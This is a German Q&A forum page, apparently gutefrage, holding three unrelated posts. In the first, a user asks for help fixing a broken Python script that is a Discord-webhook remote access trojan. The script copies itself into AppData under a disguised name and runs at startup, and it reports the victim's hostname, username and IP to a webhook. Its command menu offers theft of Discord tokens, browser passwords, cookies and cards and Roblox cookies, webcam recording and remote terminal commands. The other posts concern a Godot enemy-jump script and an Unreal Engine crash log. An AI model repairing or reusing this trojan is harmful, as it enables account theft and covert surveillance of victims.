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Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau

if file_name not in secret_names:
        while True:
            file_name_secret = random.choice(secret_names)
            if ext not in file_name_secret: continue
            else: break

        path_name = random.choice(path_appdata) "\\Windows"

        if not os.path.isdir(path_name):
            os.mkdir(path_name)

        script_path = f"{path_name}\\{file_name_secret}"
        shutil.copy(sys.argv[0], script_path)
            
        if ext == "py":
            os.system(f"python {script_path}")
            sys.exit()
        elif ext == "exe":
            os,system(f"start {script_path}")
            sys.exit()
        else:
            os.system(f"start {script_path}")
            sys.exit()

def NewConnection(w3bh00k_ur1):
    try:
        client = SyncWebhook.from_url(w3bh00k_ur1)

        embed = discord.Embed(
            title= f'New Connection !',
            description= f"""```
Status    : Connected
Day       : {current_time_day()}
Hour      : {current_time_hour()}
Hostname  : {hostname_pc}
Username  : {username_pc}
Country   : {country}
Ip        : {ip_address_public}
File Name : {file_name}
```""",
            color= color_embed
        )
        client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
    except:
        pass

        
def HelpCommand(w3bh00k_ur1, prefix):
    client = SyncWebhook.from_url(w3bh00k_ur1)

    embed = discord.Embed(
        title= f'R4t Commands:',
        color= color_embed
    )
    embed.add_field(name=f"{prefix}help", value=f"This.", inline=False)
    embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False)
    embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False)
    embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False)
    embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False)
    embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False)
    embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False)
    embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False)
    embed.set_footer(text=footer_text, icon_url=avatar_embed)

    client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)

hid3_pr0gr4m()
try: St4rtup()
except: pass

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True

Ask Me Anything: Themenspecials

Godot4 Code funktioniert nicht. Warum?

Das problem ist das wenn der Blob(Gegner) an einem Hindernis springt nur in der y Achse hochspringt und sich wieder umdreht anstadt so zu springen, dass er auf das Hindernis landet. Er muss leicht schräg springen also (velocity.y und velocity.x) aufeinmahl. Ist egal was ich gemacht hab es hat bei mir nicht funktioniert.

Vielen Dank

Mein Code:

extends CharacterBody2D

const GRAVITY = 400

const JUMP_POWER = 160

@onready var sprite = $AnimatedSprite2D

@onready var ray_left = $RayCastLeft

@onready var ray_right = $RayCastRight

var speed = 20

var if_is_alive = true

var jump_x = 0

var direction = 1

func _ready():

velocity.x = speed

sprite.play("walk")

func _physics_process(delta):

if if_is_alive == false:

return

velocity.y += GRAVITY * delta

if is_on_floor():

if sprite.animation == "jump":

on_landing()

velocity.y = 0

if is_on_wall() or is_over_abyss():

jump()

move_and_slide()

func on_landing():

sprite.play("walk")

velocity.x /= 1

velocity.x = speed * direction *1

if floor(position.x) == jump_x:

turn()

func on_stomp():

sprite.play("die")

if_is_alive = false

func turn():

direction *= -1

velocity.x = speed * direction *1

sprite.flip_h = not sprite.flip_h

func jump():

sprite.play("jump")

velocity.y = -JUMP_POWER

velocity.x = speed * direction *1

jump_x = floor(position.x)

func is_over_abyss():

if velocity.x < 0:

ray_left.force_raycast_update()

return ray_left.get_collider() == null

else:

ray_right.force_raycast_update()

return ray_right.get_collider() == null

func _on_animated_sprite_2d_animation_finished() -> void:

if sprite.animation == "die":

queue_free()

prints()

Unreal Engine 5.5 Crash?

ich habe die Geforce RTX 4090 und intel core i9 13900KF

jedes mal z.b wenn ich Metahumans benutze funktioniert alles aber irgendwann passiert dann aufeinmal ein Crash und ich kann das Projekt nicht mehr öffnen. Kann mir vielleicht jemand helfen?

Unhandled Exception: EXCEPTION_ILLEGAL_INSTRUCTION

log:

.....

[2024.11.30-11.20.27:148][ 0]LogAssetRegistry: Display: Asset registry cache written as 96.1 MiB to G:/ww2scene/meum/Intermediate/CachedAssetRegistry_*.bin

[2024.11.30-11.20.28:289][ 0]LogSkeletalMesh: Building Skeletal Mesh m_med_unw_body...

[2024.11.30-11.20.28:452][ 0]LogSkeletalMesh: Skeletal mesh [/Game/MetaHumans/hi2ler/Body/m_med_unw_body.m_med_unw_body]: The derived data key is different after the build. Save the asset to avoid rebuilding it everytime the editor load it.

[2024.11.30-11.20.28:457][ 0]LogSkeletalMesh: Built Skeletal Mesh [0.17s] /Game/MetaHumans/hi2ler/Body/m_med_unw_body.m_med_unw_body

[2024.11.30-11.20.29:517][ 0]LogSkeletalMesh: Building Skeletal Mesh m_med_nrw_body...

[2024.11.30-11.20.29:666][ 0]LogSkeletalMesh: Building Skeletal Mesh hi2ler_FaceMesh...

[2024.11.30-11.20.29:667][ 0]LogSkeletalMesh: Building Skeletal Mesh Kellan_FaceMesh...

[2024.11.30-11.20.29:720][ 0]LogSkeletalMesh: Skeletal mesh [/Game/MetaHumans/Kellan/Body/m_med_nrw_body.m_med_nrw_body]: The derived data key is different after the build. Save the asset to avoid rebuilding it everytime the editor load it.

[2024.11.30-11.20.29:723][ 0]LogSkeletalMesh: Built Skeletal Mesh [0.21s] /Game/MetaHumans/Kellan/Body/m_med_nrw_body.m_med_nrw_body

[2024.11.30-11.20.29:820][ 0]LogAudio: Display: Audio Device (ID: 1) registered with world 'Main'.

[2024.11.30-11.20.29:820][ 0]LogChaosDD: Creating Chaos Debug Draw Scene for world Main

[2024.11.30-11.20.29:868][ 0]LogSkeletalMesh: Display: Waiting for skinned assets to be ready 0/1 (meum_FaceMesh) ...

Bild zum Beitrag